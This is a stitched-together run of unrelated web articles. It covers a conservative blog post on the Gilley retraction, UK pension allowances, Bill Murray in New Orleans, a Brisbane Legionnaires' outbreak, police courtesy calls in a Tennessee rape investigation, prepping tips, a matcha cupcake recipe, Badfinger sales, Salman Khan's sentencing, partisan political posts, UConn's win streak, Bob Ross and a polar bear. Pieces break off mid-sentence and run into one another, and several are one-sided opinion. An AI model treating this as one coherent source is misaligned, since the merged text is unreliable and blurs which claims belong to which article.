Read or Share this story: http://indy.st/2rIvj5rIt has already been widely noted that Pittsburgh Steelers lineman Alejandro Villanueva has apologized for “making his teammates look bad” by his act of standing by himself on the sidelines for the national anthem. His jersey has become the most popular NFL item sold online this week, even as NFL viewership on TV continues to slump. (I think the real reason viewership is slumping is that people are catching on that the Super Bowl was fixed in favor of the Patriots... Cue Infowars in three, two...) I can only imagine what kind of pressure coach Mike Tomlin (who hosted a fundraiser for Hillary last year) put on Villanueva. I still think he should ask to be traded to the Cowboys.
Much more distressing is the news that Portland State University Prof. Bruce Gilley, who article “The Case for Colonialism” was featured here a couple weeks ago, has been forced to yield to the braying mob of political correctness and is retracting his article. Looks like the academic Maoists got to him.
“Occam’s Razor,” the pseudonym of a Cornell graduate student (it is telling that a grad student needs to write under a pseudonym, no?), has a full account of this sorry spectacle over at Legal Insurrection:
Gilley himself was called a “white supremacist,” with calls to fire him, even going so far as calling for Gilley’s Ph.D. from Princeton to be revoked. The piece in question appeared as a “Viewpoint” article, suggesting it was making unorthodox claims inviting a discussion or debate on its content. This, however, proved too much for the self-styled high priests of the academic discourse on colonialism (which in the current academy includes an enormous portion of the humanities). Astoundingly, calls to quash the blasphemous piece were made in the name of protecting those ‘marginalized’ in the academy from apparent closet white supremacists. The censors pretend not to realize that they rule... [F]ifteen members of the editorial board [of the journal Third World Quarterly] resigned. In a public resignation letter posted on Facebook (also here) by Vijay Prashad (a Marxist historian at Trinity College in Connecticut). The letter began by stating “deep[] disappoint[ment] in “the unacceptable process” surrounding the publication of the essay... As for the piece itself, the signatories write: We all subscribe to the principle of freedom of speech and the value of provocation in order to generate critical debate. However, this cannot be done by means of a piece that fails to meet academic standards of rigour and balance by ignoring all manner of violence, exploitation and harm perpetrated in the name of colonialism (and imperialism) and that causes offence and hurt and thereby clearly violates that very principle of free speech. (emphases added)
First of all, I’d say getting 15 members of the editorial board to resign from what is likely another tendentious academic journal is great work for Gilley, and I’m sorry he has felt compelled to apologize in the most abject fashion:
The College Fix claims that “Several academics are trying to blacklist Gilley from publishing further articles and threatening to destroy academic journals that consider his submissions”, implying that this is the reason that Gilley backed down...Wealthy pension savers have been handed a one-off "bonus" allowing them to invest an extra £40,000 this tax year, it has emerged.
Despite signs that the Government intends to slash the amount it spends on pensions tax relief, the unannounced anomaly, the result of changes to a little-understood rule, will come at a £70m cost to taxpayers.
Accountants say the one-off bonus is an unintended consequence of changes the Government is making to the way it collects pension income data.
The extra allowance is an opportunity for some high earners to continue claiming 45pc tax relief on pension contributions, even thought the Government has put in place plans to prevent them from doing so.
In their election manifesto the Conservatives announced plans to cut the amount that people who earn £150,000 or more can save in their pensions from April 2016, progressively reducing the annual allowance to £10,000 as their salaries increase. The move was confirmed in the Summer Budget last month and is expected to save the Government billions of pounds in future years.
Who can contribute more into pensions this year as a result?
It depends on what you earn and how much you've already contributed into pensions. The quirk means it is possible for some savers to contribute up to £80,000 into pensions this year and claim tax relief at up to 45pc. The extra allowance is available to every saver; however, because you can only contribute as much into pensions as you earn in any given year, only higher earners will benefit.
And because a rule already exists which allows people to contribute up to three years' unused pension allowance in any given year (£180,000 in total), the extra allowance will mainly benefit those who've been maxing out their £40,000 allowance every year for the past three years.
Someone earning £100,000 and contributing £30,000 into a pension every year would be able to pay the equivalent of their entire salary into their pension. This would be made up of "carry forward" allowance worth £30,000 left over from previous years, plus £80,000 for this year. Although this amounts to £110,000, they are limited to putting £100,000 into pensions because of their salary.
Tina Riches, head of tax at Smith & Williamson, the accountancy firm, said: "The Budget day announcement meant that the pension contribution ‘clock’ for 2015/16 was effectively stopped on July 8 and restarted with a fresh allowance of up to £40,000.
"As a result, if you had contributed, say, £10,000 before Budget day on July 8 2015, you became entitled to contribute a further £40,000 before April 5 2016 and attract tax relief at up to 45pc. In other words, your total allowance for this tax year would be £50,000."
Why do some people get this extra allowance?
The opportunity arises as the Government announced changes in the way higher-rate taxpayers declare pension income. Currently they use a measure called a "pension input period" (Pip), which starts on any given day of the year, to work out how much they've contributed per year. What's changing is that, from April 6 2016, Pips will be aligned with the tax year to make it easier for HMRC to see if people are overcontributing.
This change will coincide with the introduction of new lower contribution limits for higher earners.
katie.morley@telegraph.co.ukIt's been talked about and it's been written about almost since the moment it happened in December 2014. Now, thanks to the Internet, you can get a front-row seat to the moment actor Bill Murray was serenaded with the "Ghostbusters" theme by New Orleans trombonist Glen David Andrews at the Three Muses on Frenchmen Street.
Video taken by an audience member at the show was actually uploaded to YouTube back at the time by a user calling himself only "Daniel," but that video resided in relative obscurity -- clocking fewer than 300 views -- until Andrews posted it Saturday morning (April 16) to his Facebook page. Check it out in the embedded video above.
In the two-minute clip, a clearly pleased Murray smiles and claps along as Andrews and his band lay into a trombone-heavy version of Ray Parker Jr.'s call-and-response theme ("Who you gonna call?") from the 1984 film, which is still one of the more crowd-pleasing movies on Murray's lengthy filmography. At one point during the song, and with the crowd rocking along, Murray rises to his feet to show his appreciation.
Seated two chairs to Murray's left, and also apparently enjoying himself, can be seen filmmaker Jon Favreau, who recently directed Murray in Disney's "Jungle Book" remake.
It was that movie, which opened in theaters Friday, that brought Murray and Favreau to town for a 2014 recording session with Doctor John and Kermit Ruffins, both of whom appear on the film's soundtrack. While in town, Murray and Favreau -- music fans both -- decided to hit Frenchmen Street, the clubs of which Favreau became acquainted a little more than a year earlier while shooting scenes for his 2014 film "Chef" in town.
"It was one of the most exciting moments of my career, to be sitting next to Bill Murray with him smiling and them playing 'Ghostbusters' to him from like 10 feet away," Favreau said in a recent interview with Mashable. "Then he leaned over to me and he was like, 'You know, Jon, you really need a theme song.' He really got a kick out of it."A hospital staffer tests the water temperature at the Wesley Hospital, Brisbane. Credit:Natalie Bochenski Mr Royle said any patients booked for admission before the middle of next week should contact their specialist to make alternative arrangements. Ten to 12 Wesley surgical patients have been transferred to the St Andrews War Memorial Hospital and the Royal Brisbane and Women’s hospital, including maternity cases. Mr Royle said the hospital had contacted more than 250 of the 1400 patients who were discharged since May 25. "These calls take time - we have over 20 of our senior registered nurses either making or taking these calls, and we will do this until we’ve fully completed this task."
Dr Paul Bartley and Richard Royle from the Wesley Hospital brief media on the legionnaires' disease outbreak. Credit:Natalie Bochenski Flushing the taps Maintenance staff began the process of flushing the hospital’s water pipes on Thursday. Thermostatic mix valves outside each room were turned to 65 degrees Celsius, shower and sink taps turned up to that temperature, then left to run for 10 minutes to kill off any bacteria. Infectious Diseases physician Paul Bartley said the pipes and taps remained the likely source of the bacterial growth - even though the confirmed cases were in different wards on different systems.
"The level of contamination is not in the hot water systems or the hot water pipes per se, it’s the level beyond that where the water is cooler," he said. "Confirmatory testing has been taken after that cleaning process has taken place to be sure that treatment has worked, should the germ have been there in the first place." More testing required? Dr Bartley said Queensland hospitals were not required to regularly test hot water systems for Legionnaires disease, and it had never been done at the Wesley. Queensland chief health officer Jeannette Young said other states have more specific requirements.
"We’re looking at that now whether we’ll introduce those requirements for all hospitals in Queensland." She said this was the first outbreak (meaning two or more cases) of Legionnaires in Queensland history. Health Minister Lawrence Springborg announced earlier on Wednesday that all hot water systems at Queensland hospitals would be tested for legionella. 'Unprecedented' situation UnitingCare Health executive director Richard Royle says the situation is ‘‘extraordinary and unprecedented".
The Legionella bacteria has been found in the hot water system and bathrooms in the hospital's east wing, where the late 60-year-old man was being treated. The second patient, who was receiving cancer treatment, was in the hospital's west wing. As a result, hospital staff are in the process of contacting 1400 patients who have been discharged from the hospital since May 25. Testing continues No Legionella bacteria was found in the hospital's air conditioning system during routine testing last month, but authorities are awaiting the results of further tests carried out after the outbreak was confirmed.
Dr Bartley said he was confident the bacteria was not in the air conditioning system. "I'm as certain as I can be," he said. Patient develops legionnaires' disease, dies The 60-year-old man, who was being treated for cancer and a variety of other health problems, is believed to have contracted the disease from warm bath water. All admissions and surgical procedures, including chemotherapy treatment, at the Wesley have been cancelled until further notice. The Wesley's emergency centre has been placed on bypass for all ambulance cases.
"This is a precaution until we know exactly the source of contamination. We will never put patients knowingly at risk and therefore the hospital cannot accept further patients at this point," Mr Royle said. Advice for expectant mothers Expectant mothers are also being advised to make alternative arrangements for births. The Royal Brisbane and Women’s Hospital is on standby to receive up to 12 expectant mothers, or new mothers and their babies from the Wesley, if needed. Impact on the hospital system
Dr Young said she was not concerned about the pressure placed on other hospitals. ‘‘We do have a lot of capacity overall in Brisbane. We’re a large metropolitan city with a lot of hospitals, so I’m certainly not concerned,’’ she said. Engineers are continuing to disinfect the water supply across the hospital. Patients have been told not to take showers and wash kits have been handed out. A rare disease Queensland Health deals with an average of 20 cases of the rare Legionella bacteria, but Dr Young said this was the first time the bacteria had been found in a water system.
The 60-year-old Wesley patient returned a positive test for legionnaires’ disease on May 28. Water samples were collected from the hospital on May 29. Those cultures tested positive for the bacteria on June 5. The man died on June 2. 'A lightning strike event' Mr Royle described it as "a lightning strike event". "We are ensuring that we are doing everything we can humanly possibly do to minimise any further risk and we believe that leads to a significantly reduced risk to anybody,'' he said.
Legionnaires’ disease is often contracted through breathing in the Legionella bacteria, usually through very fine water droplets vented through cooling pipes and towers, such as air-conditioners. Where the bacteria is found It can also be found in hot water systems, shower heads, spas and soil and potting mix. But the disease can not be spread from person to person. It causes flu-like symptoms, including muscle aches and pains, fever, chills and headaches, followed by serious respiratory conditions such as pneumonia. Symptoms usually become evident within five to six days of breathing in the bacteria. Who is most at risk
Those with chronic lung diseases and compromised immune systems have an increased risk of contracting the disease. People over 50, diabetics and heavy drinkers and smokers are also considered to have a higher risk. Any patient discharged from the Wesley who has concerns has been asked to contact their hospital health specialist or call (07) 3232 7316. Loading Information has been made available on the Wesley Hospital website.
- Natalie Bochenski, Marissa Calligeros, Amy Remeikis and Tony MooreThe calls — contrary to police best practices — gave the accused players time to call each other, call potential witnesses and obtain lawyers.
Buy Photo Tennessee coach Butch Jones walks with Knoxville police detective Sam Brown, left, before a game at Neyland Stadium. (Photo: Larry McCormack / The Tennessean)Buy Photo
University of Tennessee football players A.J. Johnson and Michael Williams didn’t learn from police they were under investigation for rape the way most suspects do.
Instead, the players first heard the news from their Tennessee football coaches — in Johnson’s case, four hours before police showed up at the scene of the alleged crime to question him, according to sources and cell phone records obtained by The Tennessean.
Contrary to police best practices, potentially threatening the integrity of the investigation and in possible violation of state law, Knoxville Police Chief David Rausch and a detective made “professional courtesy” calls to Tennessee head football coach Butch Jones about the investigation — a practice Rausch says is common when police investigate alleged crimes involving an athlete at Tennessee.
Courtesy calls from police to prominent individuals and major institutions in a community are common, but typically not done in the initial stages of an investigation. Concerns arise if details about an investigation are shared before an arrest is made, which can hinder a case.
Law enforcement experts not involved in the case say providing advance notice can give suspects time to clean up evidence and align stories for police.
In this case, it gave the accused players the time to make a series of calls to each other, to potential witnesses, and to obtain lawyers, according to sources.
The calls may also have violated state law, according to a statement issued by the Knox County district attorney in response to an inquiry by The Tennessean.
“We cannot discuss the investigation of this case while the litigation is pending,” said Assistant District Attorney Sean McDermott.
“In any case, however, (Knox County District Attorney) General (Charme) Allen opposes pre-arrest notification to any person or agency that is not made in furtherance of the investigation,” the statement said. “A pre-arrest disclosure of sensitive information that is not made for the purpose of advancing the criminal investigation potentially could violate state law regarding the misuse of official information.”
KPD detective Sam Brown, who serves as a liaison to the football team, alerted Jones to the investigation at 8:20 a.m on November 16, 2014 — about five hours after an initial 911 call reporting the rape allegations.
Jones then called Johnson at 8:22 a.m., according to cell phone records. An assistant coach contacted Williams, according to sources. It is unclear from the cell phone records obtained by The Tennessean how the assistant coach learned of the police investigation.
Knoxville police Chief David Rausch in 2013. (Photo: Mark Humphrey / File / AP)
Rausch called Jones at 8:38 a.m. — the first of four calls between the Knoxville police chief and the head UT football coach that day. Law enforcement experts not associated with the investigation called the calls “unusual” and said they were cause for concern.
By contacting a football coach, who then alerted his players before police did, “that’s a big problem,” said Rob McGuire, a prominent former Nashville prosecutor who now serves as a criminal defense attorney.
“From an investigative standpoint, if you are trying to get to the truth of what happened, you want to get the suspects’ impressions of the event without outside influence,” McGuire said. “As an investigator, you yield advantage if the suspect knows if the investigation is underway.
“Even if nobody did anything wrong and the victim is making this up, why risk the integrity of the investigation? You lose the element of surprise. If a suspect knows police are investigating, that’s not going to work. The problem is that a lack of information control can taint the investigation. It can get in the way of the truth of what happened.”
A series of phone calls with police
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Police first learned of the alleged assault in a 911 call about 3 a.m. that Sunday.
Brown, the football team liaison, called Jones, whom he escorts at Tennessee football games, at 8:20 a.m.
After a two-minute conversation with Brown, Jones immediately called Johnson, according to cell phone records. After speaking with Johnson, Jones called Brown at 8:30 a.m., according to phone records. KPD Chief David Rausch called Jones at 8:38 a.m.
What they talked about is unknown.
Buy Photo Tennessee coach Butch Jones walks with Knoxville police detective Sam Brown during the Vol Walk before a game at Neyland Stadium. (Photo: Larry McCormack / The Tennessean)
It wasn’t until between noon and 12:15 p.m. that officers knocked on the door to Johnson’s apartment, where the alleged rape took place, sources said. Then about 6 p.m., police returned to the apartment with a warrant to search the alleged crime scene.
Cell phone records show that throughout the day — before and after police first made contact with Johnson — Jones was in regular contact with Johnson, placing or receiving six phone calls to or from his player. Jones’ cell phone records list no calls to or from Williams that day — or at any point in the following two-week span of phone logs requested by The Tennessean.
Rausch and Jones would speak on the phone eight more times in the next 72 hours. During all of those calls, the |
a prepping plan without holes.
#9. Get Stuff for Free Using Coupons
If you’re looking to turn yourself into a coupon king or queen, you can learn it how to get stuff for free.
#10. Harvest Rainwater
Rainwater harvesting may or may not be legal where you live, but you don’t need an an entire system just yet. If you have a few barrels, you can just place where the pipes and and use water to water your garden or plants, do the dishes, flush the toilet, wash your dog, etc.
#11. Get Free Stuff From Fast Food Restaurants
This may or may not be your cup of tea but, as you know, a lot of fast food restaurants offer free plastic forks, knives, spoons, chopstick, napkins, wet wipes, and small packets of salt and pepper. These all come in wrappers, of course, ready to be stockpiled.
#12. Reorganize Your Preps
If you’re looking to stockpile even more stuff, you’re probably gonna need more space. Reorganizing everything is free and keep in mind that you can store a lot of things in places like your attic. Careful about rodents, though. They’re able to chew their way through plastic, so you should use metal buckets or, maybe just hang some of your preps with Paracord.
#13. Digging a Cache In Your Back Yard
It’s free, though you’ll need a proper container (such as a PVC pipe) to store your preps. Plus, it’ll give you quite the fully body work-out. And all you need is a shovel.
#14. Designate and Prepare Your Safe Room
You should at least move some of your preps inside and try to reinforce the door by yourself. Remember, we’re only talking about things that don’t cost a penny.
#15. Label Your Preps
If you’re thinking about expanding your preps, you’re gonna want to know what’s in each container. This is something you do when you actually seal the containers, but it’s never too late (as long as you know what’s inside without opening it).
#16. Mark Your Bug Out Routes On a Map
It’s good to know all possible routes out of your town or city because you never know which ones you’re going to take in a bug out situation.
Even if you live in a rural areas, you should still have routes planned out, because in the heat of the moment, your mind could freeze and you could forget a crucial turn. Having everything clearly marked on your maps could save you precious seconds that might be the difference between life and death.
#17. Train Your Dog
Some preppers have bug out bags for their dogs and that’s very thoughtful, but how will you control your dog when chaos breaks loose? If it’s not listening to you now, it sure as heck won’t listen when SHTF.
#18. Become a Gray Man
Blending into the crowd or a post-apocalyptic society isn’t something you have to wait until SHTF to practice. I wrote no less than 50 ways to do it here. Being “average” when you’re anything but, is an art. I suggest you start practicing today.
#19. Sign Up For Free Classes
Online, offline, webinars, it doesn’t matter. As long as you can interact and ask questions on survival, homesteading, or firearms, you should probably join.
#20. Work On Your Skills
Buying survival items costs money but practicing and using them is free. As long as you already have them, it’s time to improve your skills. Which skills? You can find out by reading my previous articles here and here.
#21. Read!
Reading is free and there’s enough survival information to keep you busy for years. The more you read, the better you can judge for yourself which info is good and which isn’t, so you can make better prepping decisions.
Good luck!Although there are still some conflicting stories about how the ever-popular cupcake came about, it’s generally agreed that they got their name by the method they were made: One cup of butter, two cups of sugar, three cups of four, and so on, all in nice even cup-based measures. Eventually, it seems like younger generations that have become removed from the baking process only saw the product, and assumed that they were named because they were all baked in little cups, thus their small size and shape. These days, most people just think of cupcakes as miniature cakes, and not much more. If you ask me, the cupcake still has a bit more evolving to do, and the next step is pretty clear, isn’t it?
Naturally, it only makes sense that they become literal cups made out of cake!
Browsing through a quirky little junk store, a pile of silicon ice cube trays and various molds caught my eye, and I dug in, thinking of the adorable frozen shapes I might plop into cold drinks. However, it was the shot glass mold that grabbed my attention, and after confirming that it was oven safe up to about 500 degrees, I began scheming my grand cupcake plan.
Going with nontraditional Asian flavors, I whipped up a quick matcha-flavored batter, pouring it into the molds and placing a sheet pan underneath just for insurance. As predicted, it did bubble up but not over, and so the mushroomed ends simply needed a trim once cooled. The tricky part came when it was time to remove them. Despite a liberal spray of cooking oil with flour, those cakes refused to loosen their grip on the silicon, and my first victim tore horrifically. Thinking on my toes, I tossed the remaining cups into the freezer, forgot about them for a few hours, and was able to take them out intact once fully frozen.
Filled to the brim with sweet adzuki bean mousse, the presentation was almost as good as the taste! This is one format that the frosting-lovers among us would adore, since the deep pocket allows for far more filling than any standard cupcake. While it may take a bit more effort to make, this latest evolution of the cupcake might be it’s most impressive yet. I won’t tell if you just use this mousse in any old cake though, since it’s far too good to be contained to just one type of baked good!
Adzuki Bean Mousse
2 Cups Cooked Adzuki Beans
6 Ounces (1/2 Package) Firm Silken Tofu
1/4 Cup Plain Soymilk
1 Teaspoon Vanilla Extract
1/2 Cup Dark Brown Sugar, Packed
1/2 Cup Granulated Sugar
2 Tablespoons Instant Clear Gel
Toss your cooked beans and tofu into a food processor or blender, and crank up the power. Once the mixture is mostly pureed and there are no more chunks of tofu remaining, add in the soymilk and vanilla, and pulse to combine. In a separate bowl, mix together both sugars and the instant clear gel, and slowly sift these dry ingredients into your machine while the motor is running. Once fully incorporated, continue blending for a minute or two to dissolve the sugar, scraping down the sides as needed, until the mixture feels mostly smooth and slightly thickened. Pipe into or on top of cupcakes, or eat with a spoon- Those beans make it much healthier than your average mousse, after all!
Printable Recipe
This is my entry for September’s Sugar High Friday, hosted by Fanny. It’s not too late to join in on the fun, so check out the details and post about your own creative cupcakes!
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Like this: Like Loading...Badfinger's "Baby Blue" is suddenly red hot.
The song, which closed the finale of AMC's hit series "Breaking Bad" last night (Sept. 29), has suddenly risen into the top 25 on iTunes' top songs list and is poised for a return to the Billboard charts this week.
More Breaking Bad: Character Playlist | Breaking Down the Show's Music
Industry sources suggest the song is set for a nearly 3,000% sales gain in the week ending Sept. 29 and sold nearly 5,000 downloads just last night.. Remarkably, that one-day figure should immediately make the 1972 song earn its largest digital sales week ever. It has never sold more than 1,000 downloads in a single week, according to Nielsen SoundScan.
The tune was originally a top 20 Billboard Hot 100 hit for the rock band, reaching No. 14 on the chart dated April 29, 1972. It was one of six chart hits for the act. The tune was lifted from the British group's album "Straight Up," which was produced by Todd Rundgren and George Harrison. It was released on the Beatles' record label, Apple.
Official sales figures for "Baby Blue" (for the week ending Sept. 29), will be released by SoundScan on Wednesday, Oct. 2. The song could return to the Billboard charts as well, most likely with a placing on the Rock Digital Songs chart.
The song is also reacting strongly with streaming services. According to Spotify, global streams of Badfinger's "Baby Blue" were up 9,000% in the 11 hours after the finale, as compared to the previous 11 hours.Bollywood actor Salman Khan was on Wednesday
sentenced to five years in jail
in a 2002 hit-and-run case. The actor however, escaped being sent to jail after the Bombay high court granted him interim bail till May 8, barely a few hours after the sessions court handed him the five-year term.
Sessions court judge DW Deshpande said the 49-year-old Khan was driving the car at the time of the accident and the defence’s contention that his driver Ashok Singh was at the wheel was not probable.
The judge refused to entertain the prosecution's application seeking action against Salman Khan’s driver for perjury (lying before the court).
Ashok Singh, 42, who has been working with the Khans for the last 22 years, had said that Salman Khan was not involved in the hit-and-run case and that it was he (Ashok Singh) who was driving the car when the accident took place.
The prosecution had questioned Singh’s credibility, argued that he was lying and sought action against him for giving false evidence before the court. The defence, however, called him a man with a clean conscience who came before the court to tell the truth.
Singh was brought as a defence witness by the actor’s lawyers to corroborate his statement recorded by the court. The driver, who appeared 13 years after the incident, claimed that it was he who was driving the car and not the actor.
Singh had told the court that ever since the actor and the third occupant, Kamal Khan, left from Galaxy Apartments the car was first driven by another driver Altaf. Later, he said, Altaf complained about ill-health and he (Ashok Singh) was called in. Singh said that he had been driving the car when the actor left for home from JW Marriot Hotel.
Singh said, “When I took a right turn to Hill Road, the car's left front tyre burst and my vehicle veered towards the left. I tried to control the car, but it was difficult to steer. I even tried to apply the brakes but by that time the vehicle had already climbed the stairs and stopped.”
The prosecution alleged that during the trial the defence had never mentioned that the car was driven by Singh and then suddenly brought him at the end of the trial. While the defence claimed that soon after the incident he had gone to police station to report the case but police did not take his statement and falsely implicated actor. The defence claimed that there was no stage in the trial that Singh could have come to the court to reveal the truth, hence he has deposed at the end of the trial.
The court has, however, refused to believe Singh’s claim and held that the car was driven by the actor.
The prosecution had also sought action against constable Sharad Borade for allegedly deposing with ‘ulterior reason’ and against the RTO officer, RS Keskar, for allegedly giving a deposition that would favour the accused. The court refused to entertain the application for their prosecution as well.
Read | Salman Khan gets 2 days interim bail after being sentenced to 5 yrs in hit-and-run case
First Published: May 06, 2015 22:16 IST0 SHARES Facebook Twitter Google Whatsapp Pinterest Print Mail Flipboard
President Obama drilled Republicans during his speech at Northwestern for lacking the courage to lay out their real ideas to the American people.
Video:
The president said,
I am not on the ballot this fall. Michelle’s pretty happy about that. But make no mistake: these policies are on the ballot. Every single one of them. This isn’t a political speech, and I’m not going to tell you who to vote for – even though I suppose it is kind of implied.
But I have laid out my ideas to create more jobs and grow more wages. A true opposition party should have the courage to lay out theirs. There’s a reason fewer Republicans are preaching doom on deficits – because they’re now manageable. There’s a reason fewer are running against Obamacare – because while good, affordable health care might still be a fanged threat to freedom on Fox News, it’s working pretty well in the real world.
But when push came to shove this year, and Republicans in Congress actually had to take a stand on policies that would help the middle class and working Americans – raising the minimum wage, enacting fair pay, refinancing student loans, extending insurance for the unemployed – the answer was “no.” One thing they did vote “yes” on was another massive tax cut for the wealthiest Americans. In fact, just last month, at least one top Republican in Congress said that tax cuts for those at the top are – and I quote – “even more pressing now” than they were 30 years ago. When nearly all the gains of the recovery have gone to the top 1%, I find that a little hard to swallow. If there were any credibility to the argument that says when those at the top do well, eventually everyone else will do well, it would have borne itself out by now.
America’s economic greatness has never trickled from the top down – it grows from a rising, thriving middle class. Those are the two starkly different visions for this country. And I believe, with every bone in my body, that there’s one distinct choice.
This is the kind of speech that the president’s supporters and Democrats have been waiting for. Obama came with the facts, and he used his bully pulpit to draw attention to the big picture. Republicans won’t tell the American people what their ideas are. The GOP refuses to discuss their agenda in detail with the American people.
It is easy to understand why they won’t talk about it. It doesn’t take a rocket scientist to understand why Republicans hide their intentions from the American people. The Republican agenda is very unpopular. When Republicans carryout their Koch funded agenda of lowering taxes on the wealthy, cutting social programs that are cherished, and telling the American people that they are on their own, voters react negatively.
The majority of Americans disagree with the Republican agenda. This is why they have to hide the fact that Republicans want to take away health care from millions of Americans. Republicans have to disguise tax cuts and dangerous regulatory rollbacks as job creation. Republicans have to hide what they are up to because if people knew the truth, Republicans would lose.
A real opposition party doesn’t hide their intentions behind focus group tested talking points. A party with integrity runs on their ideas. The Republican Party has no spine. It is a jellyfish that’s for sale to the biggest billionaire contributors. President Obama called out Republicans for their lack of courage and in the process gave the Democrats the leadership that they need from their president.
The 2014 election isn’t about Obama, but the president is about to let Republicans leave voters in the dark the GOP’s intentions.
If you’re ready to read more from the unbossed and unbought Politicus team, sign up for our newsletter here! Email address: Leave this field empty if you're human:HARTFORD, Conn. -- Connecticut still stands alone when it comes to college basketball win streaks -- even if one group of Huskies is no longer without equal.
With a 102-37 victory over No. 20 South Florida on Tuesday, No. 1 UConn matched its own NCAA record, set a little more than six years ago, with 90 consecutive wins.
The current streak began following a loss at Stanford on Nov. 17, 2014, and encompasses national championships in the 2014-15 and 2015-16 seasons. It now matches Connecticut's original 90-game win streak, which began with the opening game of the 2008-09 season and ended on Dec. 30, 2010, also at Stanford. That streak also included two national titles.
South Florida was the 27th ranked team defeated by the Huskies during the current streak.
From the outset, smiles pervaded among UConn players on the court, not to mention the applause and even a couple celebratory raised arms from Geno Auriemma. With history on their racket, there wasn't even a hint of feeling the weight of the moment from the Huskies. It was more like they were enjoying the moment -- not as the effect of a rout but as its cause. As much as the domination that followed, which was almost embarrassing in its scope, that sense of joy said a lot about how a team that wasn't supposed to continue this streak has done just that.
Katie Lou Samuelson and the Huskies had Tuesday's game put away early. They led 65-19 at halftime and gave up just six points in the first quarter. Jessica Hill/Associated Press
A schedule such as the one UConn has played this season, without Moriah Jefferson, Breanna Stewart or Morgan Tuck, with games against Baylor, Florida State, Maryland, Notre Dame, Ohio State and Texas, was going to test a young team. But the rest of the country still can't come up with any answers. These Huskies earned this night, earned their place as part of the record. Why wouldn't that be fun?
There will be more to come from Hartford on a record-equaling night, but here are some thoughts at the final buzzer on both a forgettable game and a historic achievement.
Turning point: Does the tipoff count? What about not getting stuck in traffic on the way to the arena? Similar to in win No. 89 against East Carolina, UConn's first possession produced an open 3-point look for Saniya Chong, who was likely fifth among starters in terms of South Florida's defensive concerns. As in the UCF game and nearly 50 percent of her attempts this season, Chong knocked down the shot. It's as if UConn just wants to underline that its opponents have no chance. In the blink of an eye, the lead grew to 9-0, and the rout was on.
Player of the game: Chong. It wasn't just the first shot. When she checked out of the game for the first time late in the opening quarter, Chong led all UConn players in the early blitz with eight points. She totaled 13 points, seven assists and no turnovers in the first half and finished the game with 20 points and eight assists. The points matched her career high, which was set in the Stanford loss.
Gabby Williams had people checking on triple-doubles in program history. She finished just shy of one, with 11 points, 13 rebounds and seven assists, but Chong owned the night.
Stat of the game: UConn recorded assists on 21 of 26 field goals in the first half, good for 80.8 percent and even better than its eye-popping 69.5 percent entering the game. By the time South Florida recorded its first assist with a minute to play in the first half, Connecticut led 60-17. The Huskies finished the first half with more assists (21) than South Florida had points (19) and maintained an advantage into the fourth quarter.
Stat of the game II: Chong's point production was a surprise but perhaps no more so than the 10 points off the bench from Natalie Butler. UConn isn't a deep team (it hasn't much mattered, clearly), and this was the first time all season that six players reached double digits in points.
The most invincible: What has happened since UConn lost a game? In terms of people and teams often thought invincible, Serena Williams lost two Grand Slam finals, Ronda Rousey lost two MMA bouts, the U.S. women's national team lost a penalty shootout against Sweden in an Olympic soccer quarterfinal, Alabama lost twice in the college football playoff, and the Golden State Warriors lost the NBA Finals after setting a record for wins. Even Katie Ledecky settled for a silver medal in the 2016 Olympics, albeit in a relay event.
Been there, done that: Those fans who showed up Tuesday night made themselves heard -- it wasn't difficult to cheer what seemed like an extended layup line. But while most schools would love to draw a crowd that size (10,109), it was hard to miss the empty seats in the XL Center on a night when a foregone conclusion wasn't the reason to show up. There was a time not so long ago when tickets to UConn games could be had only on the secondary market. During the undefeated 2001-02 season, all 18 home games in either Hartford or Storrs were listed with capacity crowds (from personal experience, that doesn't seem like creative bookkeeping).
What's next: First comes the chance to break the record when UConn plays at SMU on Saturday (ESPN3, 3 p.m. ET). Beyond that is the march to triple digits. The Huskies have yet to lose a game in the American Athletic Conference -- ever -- so there is every chance that they will be playing for their 100th consecutive win when No. 5 South Carolina visits Storrs, Connecticut, on Feb. 13.How is it that the very same Hollywood that is, by admission, overflowing with sexual predators has just launched yet another gun control campaign meant to make it more difficult for Americans, most especially women, to obtain the most effective weapon at stopping a sexual assault — a concealed firearm.
As my colleague Ken Klukowski so elegantly put it, “Guns are the ‘great equalizer’ because they neutralize any advantage the attacker has in size, strength, or speed. The sort of person who needs a gun the least is a full-sized, able-bodied adult male. Those who benefit most from the right to carry are the elderly, the physically challenged, and women.”
Even before this sexual assault dam burst wide open through Harvey Weinstein, Hollywood’s hypocrisy on the gun control issue was bad enough. But now that we know that countless sexual predators not only roam free in Hollywood, but that the Tinseltown elite will never create a climate that allows for these monsters to be identified and brought to justice, they still think they have the moral authority to tell women to give up their guns.
Here is a detailed list, from the victims themselves, of the endless number of predators who, we must assume, are still running around free. And that is just in Hollywood, and that list is, undoubtedly, far from complete.
Overall, when it comes to gun-grabbing, there is an emerging pattern we see from the left and their enablers in the national media.
The same university culture that tells us “1 in 5 or more women are sexually assaulted while in college” also opposes gun ownership.
The same media that lie to us about law enforcement being a culture filled with racists hunting down young black men, also tell us that only law enforcement should own guns.
The same Democrats who trash police officers as racist murders also tell us that only those police officers should own guns.
And now, we have Hollywood, an industry with a horrific rape culture, unlike anything we have seen before, wanting us to give up our guns.
In the face of all this sexual assault, of all these so-called murdering racists, why do Hollywood, Democrats, and the media want us defenseless, unarmed, and at the mercy of predators?
Gee, you almost get the feeling that the left would like to see all of us become helpless victims who are incapable of taking care of ourselves and, therefore, completely dependent on the government…
Ohhhh, now I get it.
Follow John Nolte on Twitter @NolteNC. Follow his Facebook Page here.ABOUT Thanks Bob Ross
A commemorative Steam Group dedicated to Bob Ross
Robert Norman "Bob" Ross (October 29, 1942 – July 4, 1995) was an American painter, art instructor, and television host. He was best known as the creator and host of The Joy of Painting, a television program that aired on PBS in the United States, and was also aired in Canada, Mexico and countries in Europe.
Ross was diagnosed with lymphoma in the early 1990s, which eventually forced his retirement after The Joy of Painting's final episode aired on May 17, 1994. He died at the age of 52 on July 4, 1995. His remains are interred at Woodlawn Memorial Park in Gotha, Florida.
As part of the launch of Twitch Creative, Twitch.tv is hosting a marathon of Bob Ross' The Joy of Painting series which started on October 29, 2015 in commemoration of what would have been his 73rd birthday.After being caged in a glass enclosure for 300 days, the world’s saddest polar bear is getting out. For now.
Three-year-old Pizza was sent temporarily to her birthplace to reunite with her parents (link in Chinese), according to the Grandview Mall in Guangzhou, which had held her and other animals under a lease with a park in Tianjin (link in Chinese). Pizza and the other animals “will return accordingly, to the aquarium, to their home, after the upgradings of the facilities and animal enrichments (link in Chinese, registration required).”
While state mouthpiece People’s Daily said it was a happy event for Pizza, some questioned the temporary movement and real destination of Pizza.
